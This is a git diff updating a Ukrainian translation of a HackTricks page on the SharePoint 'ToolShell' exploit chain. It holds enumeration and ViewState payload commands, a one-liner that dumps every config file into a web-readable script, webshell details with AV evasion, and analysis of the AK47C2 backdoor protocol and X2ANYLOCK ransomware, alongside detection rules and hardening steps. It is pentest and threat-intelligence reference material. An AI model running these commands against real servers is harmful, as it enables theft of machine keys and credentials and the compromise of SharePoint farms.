mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh
This commit is contained in:
parent
5312a458fc
commit
1ea04b40d8
@ -21,7 +21,7 @@ curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||||
# enumerate sites & site-collections (requires at least Anonymous)
|
||||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
```
|
||||
## 2. 2025 експлойт ланцюг (також відомий як “ToolShell”)
|
||||
## 2. 2025 експлойт ланцюг (відомий як “ToolShell”)
|
||||
|
||||
### 2.1 CVE-2025-49704 – Впровадження коду на ToolPane.aspx
|
||||
|
||||
@ -54,7 +54,7 @@ ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.
|
||||
|
||||
## 3. Рецепти пост-експлуатації, спостережені в природі
|
||||
|
||||
### 3.1 Витягти кожен *.config* файл (варіант-1)
|
||||
### 3.1 Екстракція кожного *.config* файлу (варіант-1)
|
||||
```
|
||||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||||
```
|
||||
@ -79,20 +79,71 @@ Response.Write(MachineKey.ValidationKey);
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
Шелл відкриває кінцеві точки для **читання / обертання ключів машини**, що дозволяє підробляти ViewState та ASPXAUTH куки по всій фермі.
|
||||
Оболонка відкриває кінцеві точки для **читання / обертання ключів машини**, що дозволяє підробляти ViewState та ASPXAUTH куки по всій фермі.
|
||||
|
||||
### 3.3 Обфускований варіант (варіація-3)
|
||||
|
||||
Той самий шелл, але:
|
||||
* розміщений під `...\15\TEMPLATE\LAYOUTS\`
|
||||
Та сама оболонка, але:
|
||||
* розміщена під `...\15\TEMPLATE\LAYOUTS\`
|
||||
* імена змінних зменшені до одиничних літер
|
||||
* `Thread.Sleep(<ms>)` додано для обходу пісочниці та обману на основі часу.
|
||||
* `Thread.Sleep(<ms>)` додано для обходу пісочниці та обходу АВ на основі часу.
|
||||
|
||||
### 3.4 AK47C2 багатопротокольний бекдор та X2ANYLOCK програмне забезпечення-вимагач (спостереження 2025-2026)
|
||||
|
||||
Недавні розслідування реагування на інциденти (Unit42 “Project AK47”) показують, як зловмисники використовують ланцюг ToolShell **після початкового RCE** для розгортання двоканального C2 імпланту та програмного забезпечення-вимагача в середовищах SharePoint:
|
||||
|
||||
#### AK47C2 – варіант `dnsclient`
|
||||
|
||||
* Жорстко закодований DNS сервер: `10.7.66.10`, що спілкується з авторитетним доменом `update.updatemicfosoft.com`.
|
||||
* Повідомлення є JSON об'єктами, зашифрованими XOR з використанням статичного ключа `VHBD@H`, закодованими в шістнадцятковій формі та вбудованими як **піддоменні мітки**.
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
|
||||
```
|
||||
|
||||
* Довгі запити розбиваються на частини та префіксуються `s`, потім знову збираються на стороні сервера.
|
||||
* Сервер відповідає в TXT записах, що містять ту ж схему XOR/hex:
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
|
||||
```
|
||||
* Версія 202504 представила спрощений формат `<COMMAND>::<SESSION_KEY>` та маркери частин `1`, `2`, `a`.
|
||||
|
||||
#### AK47C2 – варіант `httpclient`
|
||||
|
||||
* Використовує ту ж JSON & XOR рутину, але надсилає шістнадцятковий об'єкт у **HTTP POST тілі** через `libcurl` (`CURLOPT_POSTFIELDS` тощо).
|
||||
* Та ж робоча схема завдання/результату, що дозволяє:
|
||||
* Виконання довільних команд оболонки.
|
||||
* Динамічний інтервал сну та інструкції для вимкнення.
|
||||
|
||||
#### X2ANYLOCK програмне забезпечення-вимагач
|
||||
|
||||
* 64-бітний C++ корисне навантаження, завантажене через DLL side-loading (див. нижче).
|
||||
* Використовує AES-CBC для даних файлів + RSA-2048 для обгортання AES ключа, потім додає розширення `.x2anylock`.
|
||||
* Рекурсивно шифрує локальні диски та виявлені SMB спільні ресурси; пропускає системні шляхи.
|
||||
* Залишає текстову записку `How to decrypt my data.txt`, вбудовуючи статичний **Tox ID** для переговорів.
|
||||
* Містить внутрішній **kill-switch**:
|
||||
|
||||
```c
|
||||
if (file_mod_time >= "2026-06-06") exit(0);
|
||||
```
|
||||
|
||||
#### Ланцюг DLL side-loading
|
||||
|
||||
1. Зловмисник записує `dllhijacked.dll`/`My7zdllhijacked.dll` поруч з легітимним `7z.exe`.
|
||||
2. SharePoint-створений `w3wp.exe` запускає `7z.exe`, який завантажує шкідливу DLL через порядок пошуку Windows, викликаючи точку входу програмного забезпечення-вимагача в пам'яті.
|
||||
3. Спостережено окремий завантажувач LockBit (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`), який розшифровує shell-code та виконує **DLL hollowing** в `d3dl1.dll`, щоб запустити LockBit 3.0.
|
||||
|
||||
> [!INFO]
|
||||
> Той самий статичний Tox ID, знайдений у X2ANYLOCK, з'являється в витоках бази даних LockBit, що свідчить про перекриття афілійованих осіб.
|
||||
|
||||
---
|
||||
|
||||
## 4. Ідеї для виявлення
|
||||
|
||||
| Телеметрія | Чому це підозріло |
|
||||
|-----------|----------------------|
|
||||
| `w3wp.exe → cmd.exe` | Процес робітника рідко повинен запускати шелл |
|
||||
| `w3wp.exe → cmd.exe` | Процес робітника рідко повинен запускати оболонку |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Класичний шаблон lolbin |
|
||||
| Події файлів, що створюють `debug_dev.js` або `spinstall0.aspx` | IOCs прямо з ToolShell |
|
||||
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | Публічні PoCs викликають цю сторінку |
|
||||
@ -107,7 +158,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
2. **Змінюйте** кожен `<machineKey>` та `ViewState` секрети після компрометації.
|
||||
3. Видаліть *LAYOUTS* права на запис з груп `WSS_WPG` та `WSS_ADMIN_WPG`.
|
||||
4. Блокуйте зовнішній доступ до `/_layouts/15/ToolPane.aspx` на рівні проксі/WAF.
|
||||
5. Увімкніть **ViewStateUserKey**, **MAC enabled** та користувацький *EventValidation*.
|
||||
5. Увімкніть **ViewStateUserKey**, **MAC увімкнено** та користувацький *EventValidation*.
|
||||
|
||||
## Супутні трюки
|
||||
|
||||
@ -121,6 +172,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
- [Unit42 – Активна експлуатація вразливостей Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – Ланцюг експлуатації ToolShell](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Unit42 – Проект AK47 / Експлуатація SharePoint та активність програм-вимагачів](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
|
||||
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user